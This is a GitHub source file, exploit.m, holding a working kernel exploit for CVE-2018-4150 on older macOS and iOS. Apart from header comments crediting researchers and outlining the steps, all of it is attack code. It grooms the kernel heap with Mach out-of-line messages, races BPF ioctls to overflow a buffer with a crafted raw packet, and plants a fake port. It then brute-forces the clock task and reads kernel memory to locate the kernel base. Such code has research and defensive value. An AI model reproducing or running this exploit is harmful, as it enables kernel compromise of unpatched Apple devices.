-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathexploit.m
648 lines (562 loc) · 28.3 KB
/
exploit.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
/*
* CVE-2018-4150 bug by @cmwdotme
* Exploit by @littlelailo
* Should work for anything < iPhone 7, idk about 7 and above because they have SMAP (but needs root so you need an SBX first) (and change some offsets/kernel base address)
* Tested on a MacBook Pro from 2010 running High Sierra 10.12.6
*
* Bad locking lets you use BIOCSDLT and race BIOCSBLEN to increase the length without
* increasing/reallocating the buffer.. which lets you overflow ;) Should work up to iOS 11.2.6
* Will send a packet to your router (192.168.0.1), to trigger the overflow (you can change that in the my defs section if you want another ip address, but 127.0.0.1 won't work because there's no routing on localhost)
*
* Leaks the kernel base and gives you an early read primitive. Should be able to convert this into a full chain pretty easily by iterating over allproc, finding the kernel task and coping it into fake task
* But I don't want to do this with this version as no SMAP is a requirment and I would like to inverst my time in trying to convert this to a SMAP compatible version instead
*/
// Tries to do HEAP FEN SHUI with OOL messages (this is the method which was used by Luca in yalu102)
// Thanks to Siguza for all of his tools/writeups which helped me a lot and his help from time to time
// Thanks to bazad for the sync idea (after I lost half of the exploit this help me a lot :D) and for memctl
// Thanks to Min (Spark) Zheng for a writeup about the OOL messages heap fen shui method
// Thanks to Luca for (I think) inventing the method
// Thanks to Levin for his books and tools
// Thanks to i0nic for his writeup about zalloc
// Thanks to those four writeups about kernel debugging (SIP has to be turned off):
// - http://ho.ax/posts/2012/02/debugging-the-mac-os-x-kernel-with-vmware-and-gdb/
// - https://rednaga.io/2017/04/09/remote_kext_debugging/
// - http://ddeville.me/2015/08/kernel-debugging-with-lldb-and-vmware-fusion
// - https://klue.github.io/blog/2017/04/macos_kernel_debugging_vbox/
/*
* Exploit high level overview
* creates socket to send packets to router
* creates a file handler for the bpf device
* sets bpf device into immediate mode
* sets up a bpf filter which checks if the packet has 0xff at position 0xf0, to make sure that only our packet (normal packets don't have 0xf0 there) reaches our buffer
* sets up a fakeport in userland, this will be later used in the overflow
* does the heap fen shui, allocs 300, 200 and 300 ool messages which will spray kalloc.256
* frees every 4th message of the 200
* allocs another 85 messages in the zone (idk about the number, Luca used 80, but I had the feeling that the exploit is more reliable with 85, you're welcome to play around with this and find the best values)
* allocates the bpf filter buffer which will hopefully land in one of the holes (size is 256)
* sets up the thread for racing
* configures bpf device for the exploit
* starts race, the thread will always try to set the length to 512, while the main thread will change the data link layer, triggering the bad locking path
* when the race is won, the exploit send the overflow packet over the socket to the router
* this packet will now land in the bpf filter, smashing the ool message behind itself and overwritting it with 0xff, and the value of the fakeport, the 0xff will create MACH_PORT_DEATH machports while the fakeport address will point into userland
* after that it receive those ool messages and checks if the fakeport is in them (this currently hangs if the fakeport is not in them)
* once it got the fakeport it starts to brute froce the kernel slide while checking if the pointer is the system_clock_tast pointer (this will run for a minute or two currently because I can't use the optimized method, but if it runs longer you should consider killing the exploit, because it has no upper limit set)
* if so it uses the pid_for_task primitive on the faketask to read kernel memory and walks back page by page checking if the read back value is the kernel magic value
* if so it has successfully found the kernel base
* this is currently the end and the exploit will exit
*/
// IF YOU WANT TO TEST THIS ON AN IPHONE THE CLOCK TASK BRUTE FORCE NEEDS ANOTHER KERNEL BASE and you may need to change some offsets for the task and taskport struct
#import <mach-o/loader.h>
#include <Foundation/Foundation.h>
#include <CoreFoundation/CoreFoundation.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/ucontext.h>
#include <sys/uio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <semaphore.h>
#include <gethostuuid.h>
#include <sys/fcntl.h>
#include <net/bpf.h>
/************************ MY DEFS *************************************/
#define INTERFACE "en1" // interface which bpf attaches to, need to be active and ready to recieve data but on the other hand should be as quit as possible, because the crash can be caused by too much noise (accually we are now pretty save because of the filter), there must be multiple data link layers otherwise we can't reach the vulnable path
#define NUM_THREADS 1 // number of thread which will be used to race (the race is pretty easy to win right now so 1 thread is enought)
#define BUF_OLD_LENGTH (0x100) // real buffer length (allocation will be this large) (sizeof(ool_msg))
#define BUF_NEW_LENGTH (0x100*2) // set buffer length (new buffer length, -BUF_OLD_LENGTH == overflow length and we will overflow the whole ool message behind us) TODO: check if we can improve stability by only overwriting the first 8 bytes (the first pointer) of the obj behind us, because if the obj behind us is something other then the ool message it might survive when we only smash one pointer
#define NUM_MESSAGES_BEFORE 300 // number of messages which should be allocated to fill any holes
#define NUM_MESSAGES_TARGETS 200 // number of messages which are tried to target using the overflow (every MESSAGE_FREE_INTERVAL one will be freed before buffer allocation)
#define NUM_MESSAGES_AFTER 300 // number of messages which will be sitting behind the targeted once (TODO: check why this is needed)
#define NUM_MESSAGES_INBETWEEN 85 // number of messages which should be allocated after we punshed holes to make sure, that the overflow happens in the middle of the punshed holes (TODO: check why this is needed)
#define MESSAGE_FREE_INTERVAL 4 // in which interval target messages should be freed (interval=4; every 4th message will be freed)
#define PRINT_DOT_INTERVALL 5 // in which interval a dot is printed to stdout (this is accually not needed and will only harm performance so it should be removed) (TODO: remove this)
#define PACKET_ALGINMENT 4 // alginment till a packet is algined by 8 (we have a 52 byte long header so +4 to get to 56) (this is needed to overwrite a full pointer later) (TODO: the header size may be different on different versions, so we may want to find this one automaticaly in code)
#define PORT_NUMBER 30 // the port which will be overflown (56+26*8 > 256) BE AWARE: if you change that to something which will be inside of the packet at position 0xf0, then the filter won't work anymore and the exploit will fail
#define SENDTO_ADDR "192.168.0.1" // the address the overflow packet is send to
//#define DEBUG_PACKETS_RECV // if you only want to have the bpf filter to check if the packet which is send lands there you can uncomment this
// FROM yalu102/Min (Spark) Zheng @ Team OverSky's exploit for macOS 10.12.2
// THANKS A LOT
typedef struct {
mach_msg_header_t head;
mach_msg_body_t msgh_body;
mach_msg_ool_ports_descriptor_t desc[1];
char pad[4096];
} ool_message_struct;
// TODO: replace this struct with something which represents the ipc_obj better (for example the struct from the v0rtex exploit, just to make the code cleaner and that will also help later on, when offsets changed)
struct ipc_object {
natural_t io_bits;
natural_t io_references;
char io_lock_data[0x100];
};
#define IO_BITS_ACTIVE 0x80000000
#define IKOT_TASK 2
#define IKOT_IOKIT_CONNECT 29
#define IKOT_CLOCK 25
#define kr32(address, value)\
*(uint64_t*) (faketask + 0x380) = address - 0x10;\
pid_for_task(foundport, value);
// GLOBAL VARS
static int trigger_sock; // the socket over which we send the data
static int bpf; // the device point to the bpf filter
static int complete = 0; // for the thread communication, gets set to 1 if the threads have won the race
// we need a raw socket to get as much data control as we can
// cmwdotme used and IPv6 socket and this is maybe needed because IOS enforces IPv6, but for now I will use IPv4, because then I have an address where I can send packets to which I now won't have problems with those packets
// TODO: check if we need IPv6 here
static void init_trigger_sock(void)
{
trigger_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (trigger_sock == -1) {
perror("Unable to create sockets which will trigger the vuln\n");
exit(1);
}
}
// sends a packet over the trigger socket to 192.168.0.1 (the router)
// the ip address can be chosen randomly as long as it is not localhost, because localhost packets won't get routed and won't land in the filter
// TODO: check if this is really needed, we may be able to use write on the bpf device to get packets into the buffer, but I haven't looked into that
static void send_packet(const void *packet, size_t packet_len)
{
struct sockaddr_in dest = { 0 };
dest.sin_family = AF_INET;
inet_pton(AF_INET, SENDTO_ADDR, &dest.sin_addr);
dest.sin_port = htons(0);
if (sendto(trigger_sock, packet, packet_len, 0, (struct sockaddr *) &dest, sizeof(dest)) != packet_len) {
perror("sendto(trigger_sock,packet,...) failed\n");
exit(1);
}
}
// opens the bpf device and put the device into IMMEDIATE mode
// TODO: check if IMMEDIATE mode is needed
static void init_bpf()
{
bpf = open("/dev/bpf3", O_RDWR);
if(bpf == -1) {
perror("Unable to open bpf device /dev/bpf3\n");
exit(1);
}
int one = 1;
if(ioctl(bpf, BIOCIMMEDIATE, &one) == -1 ) {
perror("ioctl BIOCIMMEDIATE(1) failed\n");
exit(1);
}
}
// sets the bpf filter to only let a packet in which has 0xff at position 0xf0
// this way we can make sure that we don't get any random stuff in our buffers
// TODO: make the filter also check all the other positions and also make it compatible with all PORT_NUMs
static void set_bpf_filter() {
/*
// sudo tcpdump -i en1 -dd port 0
struct bpf_insn bpf_instructions[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 8, 0x000086dd },
{ 0x30, 0, 0, 0x00000014 },
{ 0x15, 2, 0, 0x00000084 },
{ 0x15, 1, 0, 0x00000006 },
{ 0x15, 0, 17, 0x00000011 },
{ 0x28, 0, 0, 0x00000036 },
{ 0x15, 14, 0, 0x00000000 },
{ 0x28, 0, 0, 0x00000038 },
{ 0x15, 12, 13, 0x00000000 },
{ 0x15, 0, 12, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 2, 0, 0x00000084 },
{ 0x15, 1, 0, 0x00000006 },
{ 0x15, 0, 8, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 6, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x0000000e },
{ 0x15, 2, 0, 0x00000000 },
{ 0x48, 0, 0, 0x00000010 },
{ 0x15, 0, 1, 0x00000000 },
{ 0x6, 0, 0, 0x00040000 },
{ 0x6, 0, 0, 0x00000000 },
};
*/
struct bpf_insn bpf_instructions[] = {
{ 0x30, 0, 0, 0xf0 }, // load byte from 0xf0
{ 0x15, 1, 0, 0xff }, // jump if byte == 0xff 1 else 0
{ 0x6, 0, 0, 0x00000000 }, // ret drop
{ 0x6, 0, 0, 0x00040000 }, // ret ok
};
struct bpf_program bpf_filter;
bpf_filter.bf_len = sizeof(bpf_instructions) / sizeof(struct bpf_insn);
bpf_filter.bf_insns = &bpf_instructions[0];
if (ioctl(bpf, BIOCSETF, &bpf_filter) == -1) {
perror("ioctl BIOCSETF(bpf_filter) failed\n");
exit(1);
}
}
// allocates the buffers by first setitng the buffer length and then attaching to the given interface
// TODO: maybe we can also use set_bpf_length here just to make the code cleaner
static void alloc_bpf_buffer(const char *interface)
{
int hlen = BUF_OLD_LENGTH;
// set new buffer length
if (ioctl(bpf, BIOCSBLEN, &hlen) == -1) {
perror("ioctl BIOCSBLEN failed\n");
exit(1);
}
int blen = 0;
if (ioctl(bpf, BIOCGBLEN, &blen) < 0) {
perror("ioctl BIOCGBLEN failed\n");
exit(1);
}
printf("[i] Attaching interface with size of %d\n", blen);
struct ifreq bound_if;
strcpy(bound_if.ifr_name, interface);
if(ioctl(bpf, BIOCSETIF, &bound_if) == -1) {
perror("ioctl BIOCSETIF(bound_if) failed\n");
exit(1);
}
}
// sets the bpf_length to a give value and checks if the set was successfull, if so it exits the thread
// this function will be called from inside the race thread
void set_bpf_length(void)
{
int hlen = BUF_NEW_LENGTH;
// set buffer length to the new length while it won't be reallocated
ioctl(bpf, BIOCSBLEN, &hlen);
int blen = 0;
ioctl(bpf, BIOCGBLEN, &blen);
if(blen == hlen) {
fprintf(stderr, "[+] set length: %d and hlen: %d\n", blen, hlen);
complete = 1;
pthread_exit(NULL);
}
}
// function for the racethread will loop endless over the set length function or till another thread has won the race
void *race_detach(void *data)
{
while(complete != 1) {
set_bpf_length();
}
pthread_exit(NULL);
}
// first calls sync to write any buffered files to disk (otherwise there is the chance that we lose data when the machine crashes)
// after that it inits the socket, the bpf filter and sets the bpf packets fitler
// then it sets up the fakeport, prepares and does the heap spray, searches for the fakeport in the received ool messages, tries to find the clocktask and after that the kernelbase
// if DEBUG_PACKETS_RECV is defined it will only setup the filter and then send a packet and display the buffer of the bpf device (used to debug if the packets land inside of the filter)
// FIXME: if the port isn't overwritten the exploit will start to hang and idk why (I think it is not able to receive a message from a port where I already received the message from, but which didn't got nulled out) (I commented one line out where the ports will be nulled so this should be the one, but without the line commented out I had other problems so that has to wait because I can always ^C if I have an issue with it and if the exploit hangs there its already game over because I smashed something on the kernel heap)
// TODO: get better version of the clock_task brute force running
int main(void)
{
printf("[i] calling sync to make sure that everything is flushed on disk and we don't lose any data in case we are crashing\n"); // Thx bazard (he used that in his rootsh exploit)
sync();
pthread_t threads[NUM_THREADS];
printf("[i] init socket for triggering and open bpf device for exploiting\n");
init_trigger_sock();
init_bpf();
set_bpf_filter();
/*
// this is hear for the vm debugger where I was looking for the buffers in memory
getchar();
alloc_bpf_buffer(INTERFACE);
getchar();
exit(0);*/
// SETUP FAKE PORT
struct ipc_object* fakeport = mmap(0, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
printf("[i] fakeport=0x%p\n",fakeport);
mlock(fakeport, 0x8000);
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK;
fakeport->io_lock_data[12] = 0x11;
#ifndef DEBUG_PACKETS_RECV
// HEAP FEN SHUI GOES HERE
// Hopefully we get something like this
// 1. xxxhxxxhxxxxxhxxhhxxxxhx
// 2. xxxaxxxaxxxxxaxxaaxxxxaxaaaaaa
// 3. xxxaxxxaxxxxxaxxaaxxxxaxaaaaaabbbbbbccccccccc
// 4. xxxaxxxaxxxxxaxxaaxxxxaxaaaaaahbhbhbccccccccc
// 5. xxxaxxxaxxxxxaxxaaxxxxaxaaaaaaxbdbhbccccccccc
// Where x is some allocation, h is a hole, a are the before messages, b are the target messages, c are the after messages and d is the buffer
// INIT HEAP FEN SHUI (OOL MSGs and ports)
// setup all the ports
mach_port_t* port_buffer = calloc(0x1000,sizeof(mach_port_t));
for (int i = 0; i < 0x1000; i++) {
port_buffer[i] = MACH_PORT_DEAD;
}
uint32_t port_num = NUM_MESSAGES_BEFORE+NUM_MESSAGES_TARGETS+NUM_MESSAGES_AFTER;
mach_port_t* ports = calloc(port_num, sizeof(mach_port_t));
for (int i = 0; i < port_num; i++) {
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
mach_port_insert_right(mach_task_self(), ports[i], ports[i], MACH_MSG_TYPE_MAKE_SEND);
}
// setup ool message
ool_message_struct ool_message;
ool_message_struct ool_message_recv;
memset(&ool_message,0,sizeof(ool_message_struct));
memset(&ool_message_recv,0,sizeof(ool_message_struct));
ool_message.head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
ool_message.head.msgh_local_port = MACH_PORT_NULL;
ool_message.head.msgh_size = sizeof(ool_message)-2048;
ool_message.msgh_body.msgh_descriptor_count = 1;
ool_message.desc[0].address = port_buffer;
ool_message.desc[0].count = 0x100/8; //32
ool_message.desc[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
ool_message.desc[0].disposition = MACH_MSG_TYPE_COPY_SEND;
// DO HEAP FEN SHUI
printf("[i] HEAP FEN SHUI STARTED\n[i] Allocating messages to fill any holes");
for (int i = 0; i < NUM_MESSAGES_BEFORE; i++) {
ool_message.head.msgh_remote_port = ports[i];
kern_return_t kret = mach_msg(&ool_message.head, MACH_SEND_MSG, ool_message.head.msgh_size, 0, 0, 0, 0);
if (kret != 0) {
printf("[-] Unable to send messages\n");
exit(1);
}
if (i % PRINT_DOT_INTERVALL == 0) {printf(".");}
}
printf(" DONE\n[i] Allocating messages to target");
for (int i = 0; i < NUM_MESSAGES_TARGETS; i++) {
ool_message.head.msgh_remote_port = ports[i+NUM_MESSAGES_BEFORE];
kern_return_t kret = mach_msg(&ool_message.head, MACH_SEND_MSG, ool_message.head.msgh_size, 0, 0, 0, 0);
if (kret != 0) {
printf("[-] Unable to send messages\n");
exit(1);
}
if (i % PRINT_DOT_INTERVALL == 0) {printf(".");}
}
printf(" DONE\n[i] Allocating messages after the once which should be used as targets");
for (int i = 0; i < NUM_MESSAGES_AFTER; i++) {
ool_message.head.msgh_remote_port = ports[i+NUM_MESSAGES_BEFORE + NUM_MESSAGES_TARGETS];
kern_return_t kret = mach_msg(&ool_message.head, MACH_SEND_MSG, ool_message.head.msgh_size, 0, 0, 0, 0);
if (kret != 0) {
printf("[-] Unable to send messages\n");
exit(1);
}
if (i % PRINT_DOT_INTERVALL == 0) {printf(".");}
}
printf(" DONE\n[i] Allocation done! Now punshing some holes...\n");
for (int i = 0; i < NUM_MESSAGES_TARGETS; i+=MESSAGE_FREE_INTERVAL) {
ool_message_recv.head.msgh_local_port = ports[i+NUM_MESSAGES_BEFORE];
kern_return_t kret = mach_msg(&ool_message_recv.head, MACH_RCV_MSG, 0, sizeof(ool_message_recv), ports[i+NUM_MESSAGES_BEFORE], 0, 0);
//if(!((i+NUM_MESSAGES_BEFORE) < 380)) {ports[i+NUM_MESSAGES_BEFORE] = 0;}
if (kret != 0) {
printf("[-] Unable to send messages\n");
exit(1);
}
}
printf("[i] Finalize heap fen shui\n");
for (int i = 0; i < NUM_MESSAGES_INBETWEEN; i+=MESSAGE_FREE_INTERVAL) {
ool_message.head.msgh_remote_port = ports[i+NUM_MESSAGES_BEFORE];
kern_return_t kret = mach_msg(&ool_message.head, MACH_SEND_MSG, ool_message.head.msgh_size, 0, 0, 0, 0);
if (kret != 0) {
printf("[-] Unable to send messages\n");
exit(1);
}
}
// allocate buffers which will hopefully land in one of the holes
printf("[i] Allocate bpfs buffers (size=%d) for a given interface (%s)\n[🤞 ]Hopefully it will land in one of the holes\n",BUF_OLD_LENGTH,INTERFACE);
alloc_bpf_buffer(INTERFACE);
printf("[+] HEAP FEN SHUI DONE\n");
// GET THREADS RUNNING/PREPARE FOR THE RACE
printf("[i] Spawn threads now...\n");
int t=0;
for(t=0;t<NUM_THREADS;t++){
if(pthread_create(&threads[t], NULL, race_detach, NULL)) {
printf("[-] Error creating thread\n");
exit(1);
}
}
printf("[i] Threads are spawned! Let the race begin\n");
// set promisc to trigger the bad locking path
printf("[i] Set PROMISC of the interface to 1 to trigger the bad locking code path in deatach\n");
int promiscuous = 1;
if( ioctl(bpf, BIOCPROMISC, &promiscuous) == -1){
perror("ioctl BIOCPROMISC(1) failed\n");
exit(1);
}
// RACE
unsigned int dlt = 0;
while(1) {
if (ioctl(bpf, BIOCSDLT, &dlt) == 0) {
printf("[+] %d worked\n", dlt);
}
if(complete) {
printf("[+] Was able to set the length to %d without reallocating\n",BUF_NEW_LENGTH);
// set dlt back so that we are able to receive the packet
dlt = 1;
if (ioctl(bpf, BIOCSDLT, &dlt) == 0) {
printf("[i] set dlt back to 1 to capture the packet\n");
}else{
printf("[-] Unable to set dlt back to 1, we may not be able to receive the packet, if so the exploit will hang after '[i] Doing the overflow...'\n");
}
// WRITE GOES HERE
// is the easiest part... just send the package with the data we want to write
// we want a packet where we control most of the data and that is a raw packet
// we also want to set all of the packet data to 0xff so that when we overflow we overwrite with 0xff => MACH_PORT_DEAD
// the memcpy is from sparks code again and is a great idea so that we don't have to care about endianes etc
// buffer will look a bit like this:
// hhhhHHHHddddddddpddddddddd
// where h is the header which gets prependet by the bpf filter, H is the packet header (IDK if raw packets have one), d is our data and p is the pointer to the fakeport in userland
printf("[i] Doing the overflow now...\n");
unsigned int packet_len = 1024;
unsigned char *packet = malloc(packet_len);
memset(packet, 0xff, packet_len);
memcpy((packet+PACKET_ALGINMENT+PORT_NUMBER*sizeof(fakeport)),&fakeport,sizeof(fakeport));
send_packet(packet, packet_len);
free(packet);
break;
}
// try another link layer option
dlt++;
}
// dump the data, this is only for debug and will be removed later but I want to make sure that the packet lands inside of the filter
unsigned char* buf = malloc(BUF_NEW_LENGTH);
memset(buf,0,BUF_NEW_LENGTH);
read(bpf,buf,BUF_NEW_LENGTH);
printf("[+]This is the data: \n");
for (int i = 0; i < BUF_NEW_LENGTH; i++) {
printf("%02x ",buf[i]);
if (i % 8 == 7) {printf("\n");}
}
printf("\n=======\nPress enter to continue\n");
getchar();
printf("[+] Destory the device with the buffers so that we don't overflow later on\n");
// DESTROY/DISABLE THE BPF FILTER
// best way should be to call close on it
// TODO: we may end up harming stability by closing right after we sended the packet as it may be not in the buffer at this point,
// we should consider calling read here which will block the device till the buffer is full. This way we can verify that the packet is in the buffer and then call close on the device
// this is currently done by the debug code, so I will let it as it is, but remove the prints of the debug code
close(bpf);
printf("[i] Trying to find the corrupted port\n");
// RECEIVE OOL MESSAGES TO GET THE KERNEL TASK
mach_port_t foundport = 0;
int count = 0;
for (int i=NUM_MESSAGES_BEFORE; i<(NUM_MESSAGES_BEFORE+NUM_MESSAGES_TARGETS); i++) {
printf("[i] Trying port %d\n",i);
if (ports[i]) {
ool_message_recv.head.msgh_local_port = ports[i];
kern_return_t kret = mach_msg(&ool_message_recv.head, MACH_RCV_MSG, 0, sizeof(ool_message_recv), ports[i], 0, 0);
if (kret != 0) {
printf("[-] Unable to receive message!\n");
exit(1);
}
for (int k = 0; k < ool_message_recv.msgh_body.msgh_descriptor_count; k++) {
mach_port_t* the_one_which_could_save_us = ool_message_recv.desc[k].address;
for (int z = 0; z < 0x100/8; z++) {
if (the_one_which_could_save_us[z] != MACH_PORT_DEAD) {
printf("[+] Found port which is not dead at 0x%x\n",the_one_which_could_save_us[z]);
if (the_one_which_could_save_us[z]) {
foundport = the_one_which_could_save_us[z];
goto got_port;
}
}
}
}
mach_msg_destroy(&ool_message_recv.head);
mach_port_deallocate(mach_task_self(), ports[i]);
ports[i] = 0;
}else{count+=1;}
}
// count is debug to check if I accedently set to many ports to 0
printf("%d\n",count);
printf("[-] Unable to find the port which we should have hit. This means that we didn't hit anything inside our heap cave. Pretty impressive that your still alive. Expect a crash in the next mins\n");
exit(1);
// GOT THE OVERFLOWED PORT
got_port:
printf("[!] GOT THE PORT\n");
// FIND CLOCK TASK
// FIXME: This does not seem to work and I don't have a debugger to check whats going on inside the trap, so I will just use a slower brute force aproche and check every 8 byte aligned address
/*
uint64_t kernel_textbase = 0xffffff8000200000;
for (int i = 0; i < 0x300; i++) {
for (int k = 0; k < 0x40000; k+=8) {
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = kernel_textbase + i*0x100000 + 0x500000 + k;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
kern_return_t kret = clock_sleep_trap(foundport, 0, 0, 0, 0);
if (kret != KERN_FAILURE) {
goto gotclock;
}
}
}
*/
// this code (apart from the printf(".")) is seen in one of the screenshots from sparks writeup, but he didn't used it in his final exploit
// the code didn't worked because it used the wrong kernel base (0xffffff700400000; the one for arm64 devices), with the one for macs it works perfectly
// FIXME: let this run against an upper limit instead of endlessly
uint64_t kernel_textbase = 0xffffff8000200000; //0xffffff7000400000;
uint64_t k = 0;
while (1) {
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = kernel_textbase + k;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
kern_return_t kret = clock_sleep_trap(foundport, 0, 0, 0, 0);
if (kret != KERN_FAILURE) {
goto gotclock;
}
k+=8;
}
printf("[-] Unable to find the clock task\n");
return -1;
// FOUND THE CLOCK TASK
gotclock:
printf("[+] Found the clock! Its @ %p\nPress enter to continue\n",*(uint64_t*)(((uint64_t)fakeport) + 0x68));
getchar();
// FIND KERNEL BASE
uint64_t leaked_ptr = *(uint64_t*)(((uint64_t)fakeport) + 0x68);
printf("[i] clock task pointer = 0x%llx\n",leaked_ptr);
leaked_ptr &= ~0x3FFF;
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;
while (1) {
int32_t leaked = 0;
kr32(leaked_ptr, &leaked);
if (leaked == MH_MAGIC_64) {
printf("[+] Found kernel text at 0x%llx\n", leaked_ptr);
break;
}
leaked_ptr -= 0x4000;
}
//found kernel base
uint64_t kernel_base = leaked_ptr;
// TODO: DO POST EXPLOITATION (replace special port 4 with tpf0/setup call primitive using userclients)
return 0;
#else
printf("[i] dbg mode... trying to get the packets which we send into our read buffer\n");
alloc_bpf_buffer(INTERFACE);
int promiscuous = 1;
if( ioctl(bpf, BIOCPROMISC, &promiscuous) == -1){
perror("ioctl BIOCPROMISC(1) failed\n");
exit(1);
}
while (1) {
unsigned int packet_len = 1024;
unsigned char *packet = malloc(packet_len);
memset(packet, 0xff, packet_len);
memcpy((packet+4),&fakeport,sizeof(fakeport));
send_packet(packet, packet_len);
free(packet);
unsigned char* buf = malloc(BUF_OLD_LENGTH);
memset(buf,0,BUF_OLD_LENGTH);
read(bpf,buf,BUF_OLD_LENGTH);
printf("[+]This is the data: \n");
for (int i = 0; i < BUF_OLD_LENGTH; i++) {
printf("%02x ",buf[i]);
if (i % 8 == 7) {printf("\n");}
}
printf("\n=======\n");
free(buf);
printf("Press enter for the next read\n");
getchar();
}
return 0;
#endif
}